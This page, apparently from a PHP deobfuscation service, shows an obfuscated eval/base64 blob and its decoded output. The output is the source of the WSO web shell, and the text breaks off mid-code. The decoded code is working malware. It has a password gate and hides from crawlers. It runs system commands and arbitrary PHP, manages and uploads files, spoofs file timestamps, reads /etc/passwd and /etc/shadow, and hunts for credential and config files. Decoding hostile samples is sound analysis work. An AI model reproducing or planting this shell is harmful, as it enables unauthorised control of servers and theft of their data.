Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzuncompress(base64_decode(' eNrlfXtb27jy8N/bT2G8OXW8DSEJbbeb4ACl0NILdLn0BvyyjuMkXpz..

Decoded Output download

$auth_pass="8a146f1a3da4700cbf03cdc55e2daae6";$color="#df5";$default_action='oskBW4hrsu';$default_use_ajax=true;$default_charset='Windows-1251';if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match('/'.implode('|',$userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}@ini_set('error_log',null);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define('WSO_VERSION','14.88');if(get_magic_quotes_gpc()){function WSOstripslashes($array){return is_array($array)?array_map('WSOstripslashes',$array):stripslashes($array);}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){die("<pre align=center><form method=post>Effect: <input type=text name=baraban><input type=submit value='&#62;&#62;'></form></pre>");}function WSOsetcookie($k,$v){$_COOKIE[$k]=$v;setcookie($k,$v);}if(!empty($auth_pass)){if(isset($_POST['baraban'])&&(md5($_POST['baraban'])==$auth_pass))WSOsetcookie(md5($_SERVER['HTTP_HOST']),$auth_pass);if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])])||($_COOKIE[md5($_SERVER['HTTP_HOST'])]!=$auth_pass))wsoLogin();}if(strtolower(substr(PHP_OS,0,3))=="win")$os='win';else $os='nix';$safe_mode=@ini_get('safe_mode');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get('disable_functions');$home_cwd=@getcwd();if(isset($_POST['c']))@chdir($_POST['c']);$cwd=@getcwd();if($os=='win'){$home_cwd=str_replace("\","/",$home_cwd);$cwd=str_replace("\","/",$cwd);}if($cwd[strlen($cwd)-1]!='/')$cwd.='/';if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']))$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']=(bool)$default_use_ajax;if($os=='win')$aliases=array("List Directory"=>"dir","Find index.php in current dir"=>"dir /s /w /b index.php","Find *config*.php in current dir"=>"dir /s /w /b *config*.php","Show active connections"=>"netstat -an","Show running services"=>"net start","User accounts"=>"net user","Show computers"=>"net view","ARP Table"=>"arp -a","IP Configuration"=>"ipconfig /all");else $aliases=array("List dir"=>"ls -lha","list file attributes on a Linux second extended file system"=>"lsattr -va","show opened ports"=>"netstat -an | grep -i listen","process status"=>"ps aux","Find"=>"","find all suid files"=>"find / -type f -perm -04000 -ls","find suid files in current dir"=>"find . -type f -perm -04000 -ls","find all sgid files"=>"find / -type f -perm -02000 -ls","find sgid files in current dir"=>"find . -type f -perm -02000 -ls","find config.inc.php files"=>"find / -type f -name config.inc.php","find config* files"=>"find / -type f -name \"config*\"","find config* files in current dir"=>"find . -type f -name \"config*\"","find all writable folders and files"=>"find / -perm -2 -ls","find all writable folders and files in current dir"=>"find . -perm -2 -ls","find all service.pwd files"=>"find / -type f -name service.pwd","find service.pwd files in current dir"=>"find . -type f -name service.pwd","find all .htpasswd files"=>"find / -type f -name .htpasswd","find .htpasswd files in current dir"=>"find . -type f -name .htpasswd","find all .bash_history files"=>"find / -type f -name .bash_history","find .bash_history files in current dir"=>"find . -type f -name .bash_history","find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc","Locate"=>"","locate httpd.conf files"=>"locate httpd.conf","locate vhosts.conf files"=>"locate vhosts.conf","locate proftpd.conf files"=>"locate proftpd.conf","locate psybnc.conf files"=>"locate psybnc.conf","locate my.conf files"=>"locate my.conf","locate admin.php files"=>"locate admin.php","locate cfg.php files"=>"locate cfg.php","locate conf.php files"=>"locate conf.php","locate config.dat files"=>"locate config.dat","locate config.php files"=>"locate config.php","locate config.inc files"=>"locate config.inc","locate config.inc.php"=>"locate config.inc.php","locate config.default.php files"=>"locate config.default.php","locate config* files "=>"locate config","locate .conf files"=>"locate '.conf'","locate .pwd files"=>"locate '.pwd'","locate .sql files"=>"locate '.sql'","locate .htpasswd files"=>"locate '.htpasswd'","locate .bash_history files"=>"locate '.bash_history'","locate .mysql_history files"=>"locate '.mysql_history'","locate .fetchmailrc files"=>"locate '.fetchmailrc'","locate backup files"=>"locate backup","locate dump files"=>"locate dump","locate priv files"=>"locate priv");function wsoHeader(){if(empty($_POST['charset']))$_POST['charset']=$GLOBALS['default_charset'];global $color;echo"<html><head><meta http-equiv='Content-Type' content='text/html; charset=".$_POST['charset']."'><title>".$_SERVER['HTTP_HOST']." - WSO ".WSO_VERSION."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: ".$color." !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid ".$color.";padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid ".$color."; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '".htmlspecialchars($GLOBALS['cwd'])."';
    var a_ = '".htmlspecialchars(@$_POST['a'])."'
    var charset_ = '".htmlspecialchars(@$_POST['charset'])."';
    var p1_ = '".((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES))."';
    var p2_ = '".((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES))."';
    var p3_ = '".((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES))."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('".addslashes($_SERVER['REQUEST_URI'])."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";$freeSpace=@diskfreespace($GLOBALS['cwd']);$totalSpace=@disk_total_space($GLOBALS['cwd']);$totalSpace=$totalSpace?$totalSpace:1;$release=@php_uname('r');$kernel=@php_uname('s');$explink='http://exploit-db.com/search/?action=search&filter_description=';if(strpos('Linux',$kernel)!==false)$explink.=urlencode('Linux Kernel '.substr($release,0,6));else $explink.=urlencode($kernel.' '.substr($release,0,3));if(!function_exists('posix_getegid')){$user=@get_current_user();$uid=@getmyuid();$gid=@getmygid();$group="?";}else{$uid=@posix_getpwuid(posix_geteuid());$gid=@posix_getgrgid(posix_getegid());$user=$uid['name'];$uid=$uid['uid'];$group=$gid['name'];$gid=$gid['gid'];}$cwd_links='';$path=explode("/",$GLOBALS['cwd']);$n=count($path);for($i=0;$i<$n-1;$i++){$cwd_links.="<a href='#' onclick='g(\"oskBW4hrsu\",\"";for($j=0;$j<=$i;$j++)$cwd_links.=$path[$j].'/';$cwd_links.="\")'>".$path[$i]."/</a>";}$charsets=array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');$opt_charsets='';foreach($charsets as$item)$opt_charsets.='<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';$m=array('Sec. Info'=>'SecInfo','Files'=>'oskBW4hrsu','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');if(!empty($GLOBALS['auth_pass']))$m['Self touch']='SelfTouch';$m['Self remove']='SelfRemove';$menu='';foreach($m as$k=>$v)$menu.='<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';$drives="";if($GLOBALS['os']=='win'){foreach(range('c','z') as$drive)if(is_dir($drive.':\'))$drives.='<a href="#" onclick="g(\'oskBW4hrsu\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';}echo'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os']=='win'?'<br>Drives:':'').'</span></td>'.'<td><nobr>'.substr(@php_uname(),0,120).' <a href="'.$explink.'" target=_blank>[exploit-db.com]</a><font color=lime><b> [Y]</b></font></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'oskBW4hrsu\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.'<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';}function wsoFooter(){$is_writable=is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";echo"
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd'])."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('oskBW4hrsu',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>".$is_writable."<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>".$is_writable."<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='oskBW4hrsu'>
		<input type=hidden name=c value='".$GLOBALS['cwd']."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
		<span>Upload file:</span>".$is_writable."<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";}if(!function_exists("posix_getpwuid")&&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)){function posix_getpwuid($p){return false;}}if(!function_exists("posix_getgrgid")&&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)){function posix_getgrgid($p){return false;}}function wsoEx($in){$out='';if(function_exists('exec')){@exec($in,$out);$out=@join("
",$out);}elseif(function_exists('passthru')){ob_start();@passthru($in);$out=ob_get_clean();}elseif(function_exists('system')){ob_start();@system($in);$out=ob_get_clean();}elseif(function_exists('shell_exec')){$out=shell_exec($in);}elseif(is_resource($f=@popen($in,"r"))){$out="";while(!@feof($f))$out.=fread($f,1024);pclose($f);}return$out;}function wsoViewSize($s){if(is_int($s))$s=sprintf("%u",$s);if($s>=1073741824)return sprintf('%1.2f',$s/1073741824).' GB';elseif($s>=1048576)return sprintf('%1.2f',$s/1048576).' MB';elseif($s>=1024)return sprintf('%1.2f',$s/1024).' KB';else return$s.' B';}function wsoPerms($p){if(($p&0xC000)==0xC000)$i='s';elseif(($p&0xA000)==0xA000)$i='l';elseif(($p&0x8000)==0x8000)$i='-';elseif(($p&0x6000)==0x6000)$i='b';elseif(($p&0x4000)==0x4000)$i='d';elseif(($p&0x2000)==0x2000)$i='c';elseif(($p&0x1000)==0x1000)$i='p';else $i='u';$i.=(($p&0x0100)?'r':'-');$i.=(($p&0x0080)?'w':'-');$i.=(($p&0x0040)?(($p&0x0800)?'s':'x'):(($p&0x0800)?'S':'-'));$i.=(($p&0x0020)?'r':'-');$i.=(($p&0x0010)?'w':'-');$i.=(($p&0x0008)?(($p&0x0400)?'s':'x'):(($p&0x0400)?'S':'-'));$i.=(($p&0x0004)?'r':'-');$i.=(($p&0x0002)?'w':'-');$i.=(($p&0x0001)?(($p&0x0200)?'t':'x'):(($p&0x0200)?'T':'-'));return$i;}function wsoPermsColor($f){if(!@is_readable($f))return'<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';elseif(!@is_writable($f))return'<font color=white>'.wsoPerms(@fileperms($f)).'</font>';else return'<font color=#25ff00>'.wsoPerms(@fileperms($f)).'</font>';}function wsoScandir($dir){if(function_exists("scandir")){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh)))$files[]=$filename;return$files;}}function wsoWhich($p){$path=wsoEx('which '.$p);if(!empty($path))return$path;return false;}function actionSecInfo(){wsoHeader();echo'<h1>Server security information</h1><div class=content>';function wsoSecParam($n,$v){$v=trim($v);if($v){echo'<span>'.$n.': </span>';if(strpos($v,"
")===false)echo$v.'<br>';else echo'<pre class=ml1>'.$v.'</pre>';}}wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));if(function_exists('apache_get_modules'))wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');wsoSecParam('Open base dir',@ini_get('open_basedir'));wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');$temp=array();if(function_exists('mysql_get_client_info'))$temp[]="MySql (".mysql_get_client_info().")";if(function_exists('mssql_connect'))$temp[]="MSSQL";if(function_exists('pg_connect'))$temp[]="PostgreSQL";if(function_exists('oci_connect'))$temp[]="Oracle";wsoSecParam('Supported databases',implode(', ',$temp));echo'<br>';if($GLOBALS['os']=='nix'){wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');wsoSecParam('OS version',@file_get_contents('/proc/version'));wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));if(!$GLOBALS['safe_mode']){$userful=array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');$danger=array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');$downloaders=array('wget','fetch','lynx','links','curl','get','lwp-mirror');echo'<br>';$temp=array();foreach($userful as$item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Userful',implode(', ',$temp));$temp=array();foreach($danger as$item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Danger',implode(', ',$temp));$temp=array();foreach($downloaders as$item)if(wsoWhich($item))$temp[]=$item;wsoSecParam('Downloaders',implode(', ',$temp));echo'<br/>';wsoSecParam('HDD space',wsoEx('df -h'));wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));echo'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';if(isset($_POST['p2'],$_POST['p3'])&&is_numeric($_POST['p2'])&&is_numeric($_POST['p3'])){$temp="";for(;$_POST['p2']<=$_POST['p3'];$_POST['p2']++){$uid=@posix_getpwuid($_POST['p2']);if($uid)$temp.=join(':',$uid)."
";}echo'<br/>';wsoSecParam('Users',$temp);}}}else{wsoSecParam('OS Version',wsoEx('ver'));wsoSecParam('Account Settings',wsoEx('net accounts'));wsoSecParam('User Accounts',wsoEx('net user'));}echo'</div>';wsoFooter();}function actionPhp(){if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',true);ob_start();eval($_POST['p1']);$temp="document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax',0);wsoHeader();if(isset($_POST['p2'])&&($_POST['p2']=='info')){echo'<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';ob_start();phpinfo();$tmp=ob_get_clean();$tmp=preg_replace(array('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','!td, th {(.*)}!msiU','!<img[^>]+>!msiU',),array('','.e, .v, .h, .h th {$1}',''),$tmp);echo str_replace('<h1','<h2',$tmp).'</div><br>';}echo'<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';echo' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';if(!empty($_POST['p1'])){ob_start();eval($_POST['p1']);echo htmlspecialchars(ob_get_clean());}echo'</pre></div>';wsoFooter();}function actionoskBW4hrsu(){if(!empty($_COOKIE['f']))$_COOKIE['f']=@unserialize($_COOKIE['f']);if(!empty($_POST['p1'])){switch($_POST['p1']):case 'uploadFile':if(is_array($_FILES['f']['tmp_name'])){foreach($_FILES['f']['tmp_name'] as$i=>$tmpName){if(!@move_uploaded_file($tmpName,$_FILES['f']['name'][$i])){echo"Can't upload file!";}}}break;case 'mkdir':$time=@filemtime($_SERVER['SCRIPT_FILENAME'])+1;$timedir=@filemtime($_POST['c']);if(!@mkdir($_POST['p2']))echo"Can't create new dir";@touch($_POST['c'].'/'.$_POST['p2'],$time,$time);@touch($_POST['c'],$timedir,$timedir);break;case 'delete':$timedir=@filemtime($_POST['c']);function deleteDir($path){$path=(substr($path,-1)=='/')?$path:$path.'/';$dh=opendir($path);while(($item=readdir($dh))!==false){$item=$path.$item;if((basename($item)=="..")||(basename($item)=="."))continue;$type=filetype($item);if($type=="dir")deleteDir($item);else @unlink($item);}closedir($dh);@rmdir($path);}if(is_array(@$_POST['f']))foreach($_POST['f'] as$f){if($f=='..')continue;$f=urldecode($f);if(is_dir($f))deleteDir($f);else @unlink($f);}@touch($_POST['c'],$timedir,$timedir);break;case 'paste':$timedir=@filemtime($_COOKIE['c']);$pathhddd=$_COOKIE['c'];if($_COOKIE['act']=='copy'){function copy_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.'/',$f,$d.$s.'/');}elseif(is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE['f'] as$f)copy_paste($_COOKIE['c'],$f,$GLOBALS['cwd']);}elseif($_COOKIE['act']=='move'){function move_paste($c,$s,$d){if(is_dir($c.$s)){mkdir($d.$s);$h=@opendir($c.$s);while(($f=@readdir($h))!==false)if(($f!=".") and ($f!=".."))copy_paste($c.$s.'/',$f,$d.$s.'/');}elseif(@is_file($c.$s))@copy($c.$s,$d.$s);}foreach($_COOKIE['f'] as$f)@rename($_COOKIE['c'].$f,$GLOBALS['cwd'].$f);}elseif($_COOKIE['act']=='zip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();if($zip->open($_POST['p2'],1)){chdir($_COOKIE['c']);foreach($_COOKIE['f'] as$f){if($f=='..')continue;if(@is_file($_COOKIE['c'].$f))$zip->addFile($_COOKIE['c'].$f,$f);elseif(@is_dir($_COOKIE['c'].$f)){$iterator=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/',FilesystemIterator::SKIP_DOTS));foreach($iterator as$key=>$value){$zip->addFile(realpath($key),$key);}}}chdir($GLOBALS['cwd']);$zip->close();}}}elseif($_COOKIE['act']=='unzip'){if(class_exists('ZipArchive')){$zip=new ZipArchive();foreach($_COOKIE['f'] as$f){if($zip->open($_COOKIE['c'].$f)){$zip->extractTo($GLOBALS['cwd']);$zip->close();}}}}elseif($_COOKIE['act']=='tar'){chdir($_COOKIE['c']);$_COOKIE['f']=array_map('escapeshellarg',$_COOKIE['f']);wsoEx('tar cfzv '.escapeshellarg($_POST['p2']).' '.implode(' ',$_COOKIE['f']));chdir($GLOBALS['cwd']);}unset($_COOKIE['f']);setcookie('f','',time()-3600);@touch($pathhddd,$timedir,$timedir);break;default:if(!empty($_POST['p1'])){WSOsetcookie('act',$_POST['p1']);WSOsetcookie('f',serialize(@$_POST['f']));WSOsetcookie('c',@$_POST['c']);}@touch($pathhddd,$timedir,$timedir);break;endswitch;}wsoHeader();echo'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';$dirContent=wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);if($dirContent===false){echo'Can\'t open this folder!';wsoFooter();return;}global $sort;$sort=array('name',1);if(!empty($_POST['p1'])){if(preg_match('!s_([A-z]+)_(\d{1})!',$_POST['p1'],$match))$sort=array($match[1],(int)$match[2]);}echo"<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"oskBW4hrsu\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";$dirs=$files=array();$n=count($dirContent);for($i=0;$i<$n;$i++){$ow=@posix_getpwuid(@fileowner($dirContent[$i]));$gr=@posix_getgrgid(@filegroup($dirContent[$i]));$tmp=array('name'=>$dirContent[$i],'path'=>$GLOBALS['cwd'].$dirContent[$i],'modify'=>date('Y-m-d H:i:s',@filectime($GLOBALS['cwd'].$dirContent[$i])),'perms'=>wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),'size'=>@filesize($GLOBALS['cwd'].$dirContent[$i]),'owner'=>$ow['name']?$ow['name']:@fileowner($dirContent[$i]),'group'=>$gr['name']?$gr['name']:@filegroup($dirContent[$i]));if(@is_file($GLOBALS['cwd'].$dirContent[$i]))$files[]=array_merge($tmp,array('type'=>'file'));elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=>'link','link'=>readlink($tmp['path'])));elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i]))$dirs[]=array_merge($tmp,array('type'=>'dir'));}$GLOBALS['sort']=$sort;function wsoCmp($a,$b){if($GLOBALS['sort'][0]!='size')return strcmp(strtolower($a[$GLOBALS['sort'][0]]),strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);else return(($a['size']<$b['size'])?-1:1)*($GLOBALS['sort'][1]?1:-1);}usort($files,"wsoCmp");usort($dirs,"wsoCmp");$files=array_merge($dirs,$files);$l=0;foreach($files as$f){echo'<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'oskBW4hrsu\',\''.$f['path'].'\');" '.(empty($f['link'])?'':"title='".$f['link']."'").'><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';$l=$l?0:1;}echo"<tr><td colspan=7>
	<input type=hidden name=a value='oskBW4hrsu'>
	<input type=hidden name=c value='".htmlspecialchars($GLOBALS['cwd'])."'>
	<input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'')."'>
	<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";if(class_exists('ZipArchive'))echo"<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";echo"<option value='tar'>Compress (tar.gz)</option>";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f']))echo"<option value='paste'>Paste / Compress</option>";echo"</select>&nbsp;";if(!empty($_COOKIE['act'])&&@count($_COOKIE['f'])&&(($_COOKIE['act']=='zip')||($_COOKIE['act']=='tar')))echo"file name: <input type=text name=p2 value='wso_".date("Ymd_His").".".($_COOKIE['act']=='zip'?'zip':'tar.gz')."'>&nbsp;";echo"<input type='submit' value='>>'></td></tr></form></table></div>";wsoFooter();}function actionStringTools(){if(!function_exists('hex2bin')){function hex2bin($p){return decbin(hexdec($p));}}if(!function_exists('binhex')){function binhex($p){return dechex(bindec($p));}}if(!function_exists('hex2ascii')){function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return$r;}}if(!function_exists('ascii2hex')){function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.=sprintf('%02X',ord($p[$i]));return strtoupper($r);}}if(!function_exists('full_urlencode')){function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.='%'.dechex(ord($p[$i]));return strtoupper($r);}}$stringTools=array('Base64 encode'=>'base64_encode','Base64 decode'=>'base64_decode','Url encode'=>'urlencode','Url decode'=>'urldecode','Full urlencode'=>'full_urlencode','md5 